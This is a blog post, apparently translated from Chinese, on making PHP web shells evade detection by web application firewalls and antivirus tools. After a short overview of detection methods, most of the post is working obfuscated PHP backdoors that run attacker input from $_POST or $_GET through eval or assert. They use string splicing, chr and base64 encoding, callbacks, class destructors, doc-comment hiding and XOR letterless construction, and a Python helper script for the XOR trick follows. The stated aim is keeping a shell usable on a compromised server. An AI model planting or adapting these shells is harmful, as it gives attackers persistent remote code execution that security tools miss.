Some learning and Thinking on Web shell exemption -- Taking PHP as an example

Posted by sholtzrevtek on Sun, 24 Oct 2021 05:10:31 +0200

preface

When using webshell, killing free is something to consider. To put it bluntly, my webshell has to be usable! Therefore, this article does a webshell free learning, which is mainly a sentence of php

1, About webshell

The so-called web shell is to send a file written by malicious code (i.e. shell) to the server. The client connects to the server through a remote connection and uses the shell to operate the server. So it's actually two steps:

  • Data transmission
  • Execute the passed data

1. Data transmission

(1) Get data from HTTP request

$_GET,$_POST,$_COOKIES,$_FILE...

Any location in the HTTP package can be used as the transmission medium of the payload

(2) Get data from remote URL

file_get_contents,curl,svn_checkout...

Put the instruction data to be executed in the remote URL through the URL_INCLUDE to read

(3) Get data from disk file

file,file_get_contents...

Put the instruction data to be executed in the disk file and use the IO function to read it

(4) Read from database

Put the instructions to be executed in the database and use the database function to read them

(5) Get from picture header

exif_read_data...

Put the instruction data to be executed in the picture header and use the picture operation function to read it

2. Code execution

(1) Common command execution functions

eval,system,assert,exec,shell_exec...

The most common and standard code execution

(2)LFI

include,require...

The pseudo protocol of the browser is used to convert the file content into code execution

(3) Dynamic function execution

$()...

Dynamic function features of PHP

(4)Curly Syntax

${${...}}...

This idea can turn the vulnerability of variable assignment into an opportunity for code execution

3. In a word

The most common are eval and assert:

  • eval: PHP 4, PHP 5 and PHP 7 + are all available. Accept a parameter and execute the string as PHP code (it must meet the requirements of PHP code)
  • Assert: PHP 4, PHP 5 and PHP 7.2 are available. Generally, one parameter is accepted. After php 5.4.8, two parameters can be accepted. In php5, assert is a function. We can use $f ='assert '$ f(...); Such a method to dynamically execute arbitrary code; In php7, assert is no longer a function, but a language structure (similar to eval). It can no longer execute code dynamically as a function name
<?php eval(@$_POST['a']); ?>
<?php assert(@$_POST['a']); ?>

Some common methods:

  • Command execution class: through eval, assert, system and create_function and other functions to execute commands
  • Dynamic construct class: invoke execution command in php supported dynamic constructor.
  • preg class: regular series of functions can execute commands using the / e pattern
  • Callback function class: Webshell constructed by callback function, covering all callable type parameters
  • Reflection function class: use classes such as ReflectionFunction and corresponding invoke methods to execute commands

2, About WAF

To avoid killing, of course, we must first understand who is killing, mainly D shield, safety dog, guardian God, etc. there are other anti-virus software such as tinder and 360

The detection ideas are as follows:

  • Analyze statistical content: it can be combined with blacklist or other feature lists, such as hash feature list of code fragments. Then, the WebShell is found by statistical methods such as file information entropy, metacharacter and special string frequency
  • Semantic analysis: convert the code into AST syntax tree, and then debug and trace some functions. Those confused or deformed webshell can basically be detected. Code audits often use this method
  • Machine learning: this method requires a large number of sample data. Through some learning models, summarize and classify the feature library of Web shell, and finally detect web shell
  • Dynamic monitoring: RASP mode is adopted. Once a script is detected to run, monitor some dangerous functions inside or called hook. Once there is a script, the calling process will be stopped immediately. This blocking effect is real-time. This method should be the best, but the cost is also very high.

1. Detection based on traffic and character characteristics

Since it is a character feature, the first is the detection of some danger functions (those mentioned above):

  • System: the system() function takes the command as an argument and outputs the result
  • Exec: the exec () function takes the command as a parameter, but does not output the result. If the second optional parameter is specified, the returned result is an array. Otherwise, if echoed, only the last line of the result is displayed
  • shell_ exec : shell_ The exec() function is similar to exec(), but its entire output is a string
  • Passthru: passthru () executes a command and returns the output in its original format
  • proc_ open : proc_ The open () function can be difficult to understand. Simply put, we can use proc_open() creates a handler (process) to communicate between the script and the program to run
  • Inverted quotation marks: many PHP developers are not aware of this, but PHP will first execute the contents within the inverted quotation marks in the shell command
  • And popen, curl_exec,curl_multi_exec,parse_ini_file,show_source et al

Then detect special characters in the return package: root or some other sensitive string passwd, etc

2. Based on file characteristics

The matching mainly based on HASH depends on the capture ability of samples and the number of feature lists, or there will be underreporting.

Here, the uploaded files will be segmented, and then each segment will be hashed. After obtaining the hash values of all segments, it will be compared with the previous feature list library. If it meets the requirements of a certain similarity, the file is considered as a webshell.

3. Semantic analysis based on AST

In order to make up for the lack of statistical features and further deepen, syntax detection is carried out, focusing on each function and parameter. This method is accurate and has less false positives. However, for PHP, a language with many dynamic features, it is difficult to detect, and AST cannot understand the semantics.

In fact, this part is a bit similar to code audit. The core problem is to find those suspicious functions. Experienced security personnel may have a table in their mind, which is filled with various functions, which is a bit similar to blacklist. When finding the code of function call, if the function name is found in the blacklist, it is considered as a "sensitive" function, and then perform subsequent judgment; If the function name is not in the blacklist, the subsequent judgment does not need to continue. But the list must be large and comprehensive, and many special circumstances must be considered.

4. Dynamic / static symbol execution

In fact, it is to find controllable variables that are not filtered or incompletely filtered. Once there is code logic that users can control, the risk factor is very high.

5. Machine learning

This requires a large number of webshell sample training. At present, the effect may not be very good. Some algorithms have poor interpretability, which is not conducive to operation. And there are a lot of false positives.

6. Ultimate detection engine Rasp

In 2014, Gartner introduced the term "runtime application self protection", abbreviated as RASP. It is a new application security protection technology. It injects the protection program into the application program like a vaccine. The application program is integrated, which can detect and block the security attack in real time, so that the application program has the ability of self-protection. When the application program is injured by the actual attack, it can automatically defend it without manual intervention.

RASP technology can quickly integrate the security defense function into the running application. It intercepts all calls from the application to the system, ensures that they are secure, and directly verifies data requests in the application. Both Web and non Web applications can be protected through RASP. This technology will not affect the design of the application, because the detection and protection functions of RASP run on the system on which the application runs.

3, No killing idea

Here are some ideas for avoiding killing, but in fact, it needs a combination of many ideas, and the methods are always more difficult than difficulties

1. String transformation

The keywords are spliced and converted to bypass the detection of keywords

Some available methods are:

ucwords() //The function converts the first character of each word in a string to uppercase.
ucfirst() //The function converts the first character in a string to uppercase.
trim() //Function removes white space characters and other predefined characters from both ends of a string.
substr_replace() //Function replaces a part of a string with another string
substr() //Function returns a portion of a string.
strtr() //Function to convert a specific character in a string.
strtoupper() //The function converts a string to uppercase.
strtolower() //The function converts a string to lowercase.
strtok() //The function splits a string into smaller strings
str_rot13() //The function performs ROT13 encoding on a string.

Since eval is a language constructor rather than a function, it cannot be called by a variable function and is generally executed by splicing assert; Since assert cannot be used in this way after php7.1, this kind of killing free method can only be used in php5 environment

Several examples:

<?php
$a="a";
$b="sse";
$c="00";
$d= substr_replace($a.$b.$c,"rt",4);
$d($_POST['a'];
?>
<?php
$a = substr_replace("xxser","asser",-3);
$aa = array('',$a);
$b = $aa[1].chr('116');
$fun=preg_replace("/xx/","",$b);
$cc = substr_replace("",$fun,0);

$cc($_POST['x']);
?>

2. Code bypass

Coding is also a way to replace sensitive fields. base64, ascii and other methods are generally used

  • ascii

    <?php
    $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
    $a($_POST['a'];
    ?>
    
  • base64

    <?php
    $a = base64_decode("YX__Nz_ZX____J0");
    $a($_POST[x]);
    ?>
    

However, common encoding and encryption are put into the list, so you can consider base encoding such as base32 and base58, or custom ascii shift, or even symmetric encryption algorithm

3. Custom function

Execute assert, eval, etc. in a user-defined function, or input in the function$_ POST ,$_ GET, etc

But this method is not effective and can be combined with other methods

for instance:

<?php 
function zeo($b){
    return $b;
}
function ass($a){
    return eval($a);
}
function post(){
    return $_POST['x'];
}

function run(){
	return zeo(ass)(zeo(post)());
}

zeo(ass)(zeo(post)());
?>

4. Callback function

Callback functions have the following functions, most of which have been hacked... You'll die if you use it alone:

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
array_reduce()
array_walk() 
array_walk_recursive()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
registregister_shutdown_function()
register_tick_function()
forward_static_call_array(assert,array($_POST[x]));

Give a few examples (just examples, basically blackened):

  • array_map

    <?php
    function username()
    {
    
    $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);#assert
    return ''.$a;
    }
    $user = username();
    $pass =array($_GET['password']);
    array_map($user,$user = $pass );
    ?>
    
  • call_user_func_array

    <?php
    $a =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
    call_user_func_array($a, array($_GET['a']));
    ?>
    
  • Define a function plus a simple splice

    <?php 
    function zeo($c,$d){
    	pj()($c,$d);
    }
    function pj(){
    	return "register_shut"."down_function";
    }
    
    $b=$_POST['x'];
    zeo(assert,$b);
    ?>
    

5. Array

Put the execution code in the array and cooperate with other bypass methods to still be effective

For example:

  • one-dimensional
    <?php
    $a = substr_replace("asse00","rt",4);
    $b=array($array=array(''=>$a($_GET['x'])));
    var_dump($b);
    ?>
    
  • two-dimensional
    <?php
    $b = substr_replace("assexx","rt",4);
    $a = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['x'])))));
    ?>
    

6. Variable variable

Variable variable means that the value of an ordinary variable can be used as the name of another variable, as follows:

$a = 'hello';
$$a = 'world';
echo $hello;
# The output is world
  • The first line is a common variable definition. The variable name is a and the variable value is hello
  • The second line uses the value of variable a to define a variable. The name of this variable is hello (that is, the value of a), and the value is world
  • After outputting this variable, the result is: world

for instance:

<?php 
$zeo='dalao';
$$zeo=$_POST['x'];
eval($dalao);
?>

7. Class

This seems very popular. It's mainly magic

For example:

<?php
class Student
{
    public $_1='';
    function __destruct(){
        assert("$this->a");
    }
}
$_2 = new Student;
$_2->$_1 = $_POST['a'];
?>
<?php 
class zeo2
{
  public $b ='';
  
  function post(){
    return $_POST['x'];
  }
}
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
  	$code=parent::post();
    assert($code);
  }
}
$blll = new zeo;
$bzzz = new zeo2;
?>

8. Special character interference

It mainly interferes with the regular judgment of killing software, and the code can be executed. You can fuzz by yourself, which means all kinds of carriage return, line feed, null and white space characters

for instance:

<?php 
$zeo='dalao';
$$zeo=$_POST['x'];
eval(``.$dalao);
?>

9. Annotation acquisition

ReflectionClass::getDocComment can get document comments

Some security software will ignore the code in the comment, so this method is to write the malicious code into the comment, and then extract it for execution through the getDocComment method of ReflectionClass. However, eval or assert may also exist in the non comment content, which may be reported as low-level suspicious

for instance:

<?php  
    /**   
    * assert($_GET[1+0]);
    */  
    class User { }  
    $user = new ReflectionClass('User');
    $comment = $user->getDocComment();
	$d = substr($comment , 14 , 20);
	assert($d);
?>

10. No letters

Using various operations, such as XOR, assemble the desired function, and finally construct any character in a-z. Then, using the feature that PHP allows dynamic function execution, splice a function name, such as "assert", and then execute it dynamically

See: Some web shells that do not contain numbers or letters

for instance:

<?php
@$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
#  "^" is an XOR operator. In PHP, when two variables are XOR, the string will be converted into binary, and then XOR operation will be carried out. After XOR operation, the result will be converted from binary to string.
${$__}[!$_](${$___}[$_]);
?>

Master Guoguang wrote a script:

import string 
from urllib.parse import quote 
keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) 
results = [] 
for i in keys: 
	for j in keys: 
		asscii_number = i^j 
		if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): 
			if i < 32 and j < 32: 
				temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
			elif i < 32 and j >=32: 
				temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
			elif i >= 32 and j < 32: 
				temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
			else: 
				temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) 
				results.append(temp) 
results.sort(key=lambda x:x[1], reverse=False) 
for low_case in string.ascii_lowercase: 
	for result in results: 
		if low_case in result: 
			print(result[0]) 
for upper_case in string.ascii_uppercase: 
	for result in results: 
		if upper_case in result: 
			print(result[0])

11. Get keywords using POST package

<?php
$decrpt = $_POST['x'];
$decrps = $_POST['y'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
?>

12. Get the defined function

public ReflectionClass::getConstants(void) : array

Gets all the defined constants of a class, regardless of how visibility is defined

class Test
{
    const a = 'As';
    const b = 'se';
    const c = 'rt';

    public function __construct()
    {
    }
}
$para1;
$para2;
$reflector = new ReflectionClass('Test');

for ($i=97; $i <= 99; $i++) {
    $para1 = $reflector->getConstant(chr($i));
    $para2.=$para1;
}

foreach (array('_POST','_GET') as $_request) {
    foreach ($$_request as $_key=>$_value) {
        $$_key=  $_value;
    }
}

$para2($_value);

4, Other

1. PHP7.1 dilemma

After php7.1, we can no longer use the powerful assert function. waf can effectively block the webshell by blocking the function, while eval is not as flexible as assert.

Later, you may be more inclined to use Malaysia or memory horse

2. Some tools

https://github.com/pureqh/webshell

3. Some thinking

(1) Consider the features of different versions of php

For example:
mb_ereg_replace,mb_eregi_replacez these two alias functions exist: mbereg_replace,mbereg_ireplace

But this alias was removed in 7.3. preg_ The / e mode of replace was also removed in version 7.

(2) Flexible use of php syntax features

From XOR, callback function, character encoding, including call, character splicing. In fact, many of these have been included by d shield software.

What we need to do is constantly deform, including the XOR and class destructors used by venom. Although they have been killed, we successfully bypass the detection by using static functions. Static functions call ordinary functions, or ordinary functions call static functions. And the inheritance mechanism of classes can be considered

(3) Good at using special symbols

Here's what p God said:

eval<char>('phpinfo')

Add special characters

[\x00-\x20]

php may ignore these control characters when parsing, but some semantic analysis detection engines cannot correctly recognize these special characters, resulting in bypassing.

(4) Then there are some ideas for opening brain holes

For example, can we hide webshell in multiple normal php files to form a call chain? Of course, this form has jumped out of the upload scenario and is more inclined to permission maintenance

We can also hide webshell in php extensions to bypass some scenarios that restrict the execution of sensitive functions (in fact, many bosses have done this idea)

There is also the use of other languages and some features of linux and windows

epilogue

I have learned from webshell's exemption from killing, which is a direction of continuous game and progress

Topics: network security Cyber Security webshell